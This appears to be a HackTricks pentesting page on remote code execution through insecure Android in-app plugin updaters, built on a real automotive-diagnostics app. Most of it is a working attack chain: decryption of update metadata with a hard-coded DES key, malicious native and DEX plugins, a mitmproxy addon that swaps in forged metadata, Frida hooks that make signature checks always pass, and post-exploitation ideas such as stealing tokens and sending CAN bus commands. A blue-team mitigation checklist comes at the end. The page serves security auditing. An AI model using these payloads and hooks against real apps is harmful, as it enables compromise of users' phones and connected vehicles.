// HackTricks · Mobile

Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins

Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins

Many Android applications implement their own “plugin” or “dynamic feature” update channels instead of using the Google Play Store. When the implementation is insecure an attacker able to intercept or tamper with the update traffic can supply arbitrary native or Dalvik/ART code that will be loaded inside the app process, leading to full Remote Code Execution (RCE) on the handset – and in some cases on any external device controlled by the app (cars, IoT, medical devices …).

This page summarises a real‐world vulnerability chain found in the Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) and generalises the technique so you can audit other Android apps and weaponise the mis-configuration during a red-team engagement.


0. Quick triage: does the app have an in‑app updater?

Static hints to look for in JADX/apktool:

  • Strings: “update”, “plugin”, “patch”, “upgrade”, “hotfix”, “bundle”, “feature”, “asset”, “zip”, “splitcompat”, “splitinstall”, “appUpdate”, “local-testing”, “codepush”, “expo-updates”.
  • Network endpoints like /update, /plugins, /getUpdateList, /GetUpdateListEx.
  • Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
  • Dynamic loaders: System.load, System.loadLibrary, dlopen, DexClassLoader, PathClassLoader, InMemoryDexClassLoader.
  • Unzip paths writing under app-internal or external storage, then immediately loading a .so/DEX.

Runtime hooks to confirm:

// Frida: log native and dex loading
Java.perform(() => {
  const Runtime = Java.use('java.lang.Runtime');
  const SystemJ = Java.use('java.lang.System');
  const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

  SystemJ.load.overload('java.lang.String').implementation = function(p) {
    console.log('[System.load] ' + p); return this.load(p);
  };
  SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
    console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
  };
  Runtime.load.overload('java.lang.String').implementation = function(p){
    console.log('[Runtime.load] ' + p); return this.load(p);
  };
  DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
    console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
    return this.$init(dexPath, optDir, libPath, parent);
  };
});

Fast filesystem triage on a rooted / debuggable target:

adb shell run-as <pkg> sh -c 'find files code_cache no_backup app_* -maxdepth 5 \( -name "*.dex" -o -name "*.jar" -o -name "*.apk" -o -name "*.so" \) -ls 2>/dev/null'
adb shell run-as <pkg> sh -c 'find files -maxdepth 5 \( -path "*splitcompat*" -o -path "*local_testing*" -o -path "*codepush*" -o -path "*expo*" \) -print 2>/dev/null'

1. Identifying an Insecure TLS TrustManager

  1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
  2. Look for a custom TrustManager or HostnameVerifier that blindly trusts every certificate:[1]
public static TrustManager[] buildTrustManagers() {
    return new TrustManager[]{
        new X509TrustManager() {
            public void checkClientTrusted(X509Certificate[] chain, String authType) {}
            public void checkServerTrusted(X509Certificate[] chain, String authType) {}
            public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
        }
    };
}
  1. If present the application will accept any TLS certificate → you can run a transparent MITM proxy with a self-signed cert:
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

If TLS pinning is enforced instead of unsafe trust-all logic, see:

Android Anti Instrumentation And Ssl Pinning Bypass

Make Apk Accept Ca Certificate


2. Reverse-Engineering the Update Metadata

In the AnyScan case each app launch triggers an HTTPS GET to:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

The response body is an XML document whose <FileData> nodes contain Base64-encoded, DES-ECB encrypted JSON describing each available plugin.[1]

Typical hunting steps:

  1. Locate the crypto routine (e.g. RemoteServiceProxy) and recover:
    • algorithm (DES / AES / RC4 …)
    • mode of operation (ECB / CBC / GCM …)
    • hard-coded key / IV (commonly 56‑bit DES or 128‑bit AES constants)
  2. Re-implement the function in Python to decrypt / encrypt the metadata:[1]
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
    cipher = DES.new(KEY, DES.MODE_ECB)
    return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
    cipher = DES.new(KEY, DES.MODE_ECB)
    return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

Notes seen in the wild (2023–2025):

  • Metadata is often JSON-within-XML or protobuf; weak ciphers and static keys are common.
  • Many updaters accept plain HTTP for the actual payload download even if metadata comes over HTTPS.
  • Plugins frequently unzip to app-internal storage; some still use external storage or legacy requestLegacyExternalStorage, enabling cross-app tampering.

3. Craft a Malicious Plugin

3.1 Native library path (dlopen/System.load[Library])

  1. Pick any legitimate plugin ZIP and replace the native library with your payload:[1]
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
    __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
    // spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. Update the JSON metadata so that "FileName" : "PWNED.zip" and "DownloadURL" points to your HTTP server.
  2. Re‑encrypt + Base64‑encode the modified JSON and copy it back inside the intercepted XML.

3.2 Dex-based plugin path (DexClassLoader)

Some apps download a JAR/APK and load code via DexClassLoader. Build a malicious DEX that triggers on load:

// src/pwn/Dropper.java
package pwn;
public class Dropper {
    static { // runs on class load
        try {
            Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
        } catch (Throwable t) {}
    }
}
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

If the target calls Class.forName("pwn.Dropper") your static initializer executes; otherwise, reflectively enumerate loaded classes with Frida and call an exported method.

3.3 In-memory DEX loaders

Some modern updaters decrypt a payload into a ByteBuffer and instantiate InMemoryDexClassLoader instead of writing a final JAR/APK to disk. This removes easy filesystem artefacts and, on Android 14+, can also sidestep file-path-focused DCL hardening because the final code blob never exists as a normal writable DEX path.

Java.perform(() => {
  const IMDCL = Java.use('dalvik.system.InMemoryDexClassLoader');
  const ctor = IMDCL.$init.overload('java.nio.ByteBuffer', 'java.lang.ClassLoader');
  ctor.implementation = function(buf, parent) {
    console.log('[InMemoryDexClassLoader] capacity=' + buf.capacity());
    return ctor.call(this, buf, parent);
  };
});

When this fires, pivot backwards into the decrypt/decompress routine that produced the ByteBuffer; the exploitable primitive is usually still a tamperable archive, encrypted blob, or attacker-controlled metadata field.


4. Deliver the Payload with mitmproxy

addon.py example that silently swaps the original metadata:[1]

from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
    if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
        flow.response = http.Response.make(
            200,
            MOD_XML,
            {"Content-Type": "text/xml"}
        )

Run a simple web server to host the malicious ZIP/JAR:

python3 -m http.server 8000 --directory ./payloads

When the victim launches the app it will:

  • fetch our forged XML over the MITM channel;
  • decrypt & parse it with the hard-coded crypto;
  • download PWNED.zip or plugin.jar → unzip inside private storage;
  • load the included .so or DEX, instantly executing our code with the app’s permissions (camera, GPS, Bluetooth, filesystem, …).

Because the plugin is cached on disk the backdoor persists across reboots and runs every time the user selects the related feature.


4.1 Bypassing signature/hash checks (when present)

If the updater validates signatures or hashes, hook verification to always accept attacker content:

// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
  const Sig = Java.use('java.security.Signature');
  Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
  const Arrays = Java.use('java.util.Arrays');
  Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

Also consider stubbing vendor methods such as PluginVerifier.verifySignature(), checkHash(), or short‑circuiting update gating logic in Java or JNI.


5. Other attack surfaces in updaters (2023–2026)

  • Zip Slip path traversal while extracting plugins: malicious entries like ../../../../data/data/<pkg>/files/target overwrite arbitrary files. Also test symlink entries and non-empty destination directories; canonical-path checks only help if extraction happens inside a fresh app-private directory.
  • External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
  • Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
  • Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to the developer key; accepting any key shipped next to the payload; verifying metadata but not the extracted file tree.
  • In-memory loaders: some updaters decrypt classes.dex straight into InMemoryDexClassLoader; in those cases the filesystem artefact is only the encrypted blob or temp archive, not the final executable payload.
  • Split APK / local-testing leftovers: official Play Core testing helpers obtain splits from a specified local directory, and SplitCompat.install() immediately exposes code/resources from installed splits. In production builds, any custom equivalent that trusts writable module directories, split_id-derived filenames, or leftover local-testing artefacts becomes a plugin-swap primitive. Historically this class of bug already led to Play Core code execution via path traversal (CVE-2020-8913); today you usually find the same idea as app-side misuse rather than the library bug itself.
  • React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). For Expo/EAS-style updaters, look for disabled or bypassable update signing before treating the JS bundle as trusted.

5.1 Trusted updater abuse: installing packages that do not exist yet

Do not test only replacement updates. A preinstalled or privileged updater may deserialize a remote Boolean/enum that decides whether the target package must already exist. If the backend can select an “install when absent” branch (for example, installNotExists=true), the update channel becomes an arbitrary new-APK installation primitive, even if the normal workflow appears limited to maintaining firmware packages. Trace the complete path from MQTT/push-message parsing through the package-existence check, download destination and PackageInstaller/PackageManager call.[3]

Preserve the updater cache and correlate every newly introduced package with its recorded installer. Android’s pm list packages -i option exposes the installer identity; on a rooted or forensic image, compare this with the APKs staged below the updater’s external cache.[3][4]

UPDATER=com.vendor.updater; SUSPECT=com.example.suspect
adb shell 'pm list packages -i | sort'
adb shell "find /sdcard/Android/data/$UPDATER/cache/push/apk -type f -ls 2>/dev/null"
adb shell "pm path $SUSPECT; dumpsys package $SUSPECT"

Treat the installer identity as provenance, not privilege inheritance: a downloaded APK normally executes under its own UID and declared/granted permissions. Do not report execution with the updater’s system privileges unless shared UID, platform signing, an exported privileged bridge or another explicit escalation path proves it.[3]

5.2 Recovering staged payload families

A downloaded file’s extension is not a reliable type signal. Start from the loader’s reads and deserializer: one observed staged format used a one-byte string key, a four-byte floating-point value reused as an XOR key, and then encrypted DEX bytes. Embedded droppers may also split ciphertext into blocks and derive each single-byte key linearly (key_i = (key_0 + i * step) & 0xff). Reimplement the exact loop, deserialize the recovered metadata, and validate output with DEX/ZIP magic before decompilation.[3]

Predictable version strings in payload URLs are also an analysis surface. If a captured path contains a directly editable value such as dex3.68.png, enumerate nearby versions only in an authorized sinkholed/lab copy, then record HTTP status, hash, decoded magic and entry point. Diff recovered versions for header-layout, decoder, C2, class/method and capability changes; a decoder change in an older payload can reveal a previously unknown intermediate loader.[3]

5.3 Configuration-driven reflective modules

Look beyond hard-coded command handlers. A compact implant can receive integer task IDs, fetch JSON definitions only for unknown or newer timestamped versions, and persist them in SharedPreferences; a field such as tagName then selects handlers for HTTP, WebView/JavaScript or module loading. During analysis, dump the preferences XML and correlate ID/version changes with descriptor-fetch requests and reflective calls.[3]

For module loaders, trace attacker-controlled url, module name, entry class, factory/virtual method, typed arguments, cleanup list, thread and reload flags. An MD5/SHA value delivered in the same attacker-controlled task object as the payload URL detects corruption but does not authenticate code: the operator controls both values. Successful reflection gives replaceable code execution in the implant process and permission context.[3]

5.4 Platform changes that change exploitation

  • Apps targeting Android 14 (API 34+) must mark dynamically loaded DEX/JAR/APK files read-only as soon as they are opened and before content is written; otherwise the system throws an exception when the app later tries to load them.[2]
  • Apps targeting Android 17 (API 37+) extend the same Safer Dynamic Code Loading rule to native libraries loaded with System.load(); writable copied .so files now fail with UnsatisfiedLinkError.[2]
  • Offensive takeaway: crashes around writable dynamic code are still useful findings. They tell you the app is shipping a custom updater/plugin architecture; move earlier in the chain and tamper with metadata, temp files, unzip destinations, or the decrypted in-memory buffer before the app flips permissions or verifies integrity.

6. Post-Exploitation Ideas

  • Steal session cookies, OAuth tokens, or JWTs stored by the app.
  • Drop a second-stage APK and silently install it via pm install if possible (some apps already declare REQUEST_INSTALL_PACKAGES).
  • Abuse any connected hardware – in the AnyScan scenario you can send arbitrary OBD‑II / CAN bus commands (unlock doors, disable ABS, etc.).[1]

Detection & Mitigation Checklist (blue team)

  • Avoid dynamic code loading and out‑of‑store updates. Prefer Play‑mediated updates. If dynamic plugins are a hard requirement, design them as data‑only bundles and keep executable code in the base APK.[2]
  • Enforce TLS properly: no custom trust‑all managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic.
  • Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developer‑held key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed.[2]
  • Use modern crypto (AES‑GCM) with per‑message nonces for metadata; remove hard‑coded keys from clients.
  • Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHA‑256 hashes. Reject extra/unknown files.[2]
  • Store downloads in app‑internal storage (or scoped storage on Android 10+) and use file permissions that prevent cross‑app tampering.[2]
  • Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or .. segments.
  • Consider Play “Code Transparency” to allow you and users to verify that shipped DEX/native code matches what you built (complements but does not replace APK signing).

References